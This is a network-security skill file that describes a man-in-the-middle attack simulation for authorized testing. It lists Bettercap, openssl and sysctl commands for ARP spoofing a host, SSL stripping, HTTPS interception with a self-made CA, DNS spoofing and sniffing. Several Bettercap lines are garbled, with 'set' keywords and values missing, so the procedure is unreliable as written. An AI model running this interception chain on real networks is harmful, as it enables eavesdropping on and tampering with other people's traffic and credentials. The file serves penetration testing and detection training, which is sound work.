conducting-man-in-the-middle-attack-simulation

name	conducting-man-in-the-middle-attack-simulation
description	Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
domain	cybersecurity
subdomain	network-security
tags	["network-security","mitm","bettercap","ettercap","mitmproxy"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]
mitre_attack	["T1557.001","T1557.002","T1040"]

Conducting Man-in-the-Middle Attack Simulation

When to Use

• Testing whether applications properly validate TLS certificates and enforce encrypted communications
• Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
• Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
• Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
• Training incident response teams to identify and respond to MITM attack indicators

Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.

Prerequisites

• Written authorization specifying in-scope targets and approved MITM techniques
• Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
• Layer 2 access to the same network segment as target hosts
• Custom CA certificate for TLS interception testing (generated specifically for the engagement)
• Wireshark or tshark for capturing and verifying intercepted traffic
• Isolated lab environment or approved production test window with rollback procedures

Workflow

Step 1: Set Up the Attack Environment

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Step 2: Execute ARP-Based MITM with Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show


>  arp.spoof.targets 192.168.1.50
>  arp.spoof.fullduplex 


> arp.spoof on


>  http.proxy.sslstrip 
> http.proxy on


>  https.proxy.certificate mitm-ca.crt
>  https.proxy.key mitm-ca.key
> https.proxy on


>  dns.spoof.domains example.com,*.example.com
>  dns.spoof.address 192.168.1.99
> dns.spoof on


>  net.sniff.verbose 
>  net.sniff.filter 
> net.sniff on